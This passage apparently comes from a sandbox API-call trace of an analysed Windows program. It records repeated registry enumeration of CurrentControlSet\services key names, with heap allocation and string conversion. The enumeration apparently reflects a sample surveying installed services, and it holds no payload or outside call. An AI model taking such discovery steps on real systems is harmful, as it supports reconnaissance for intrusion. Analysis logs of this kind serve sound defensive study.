[0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.948] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de44e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.948] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.948] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0254.949] RegCloseKey (hKey=0x154) returned 0x0 [0254.949] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.949] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.949] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.949] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.949] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.950] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.950] RegOpenKeyExW (in: hKey=0x160, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0254.950] RegCloseKey (hKey=0x160) returned 0x0 [0254.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.950] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.950] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0254.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4408, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de44e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4408, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de44e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.951] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.951] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0254.951] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4408, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.952] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x1de44e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0254.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.952] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1de44e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0254.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.953] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.953] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0254.953] RtlAllocateHeap 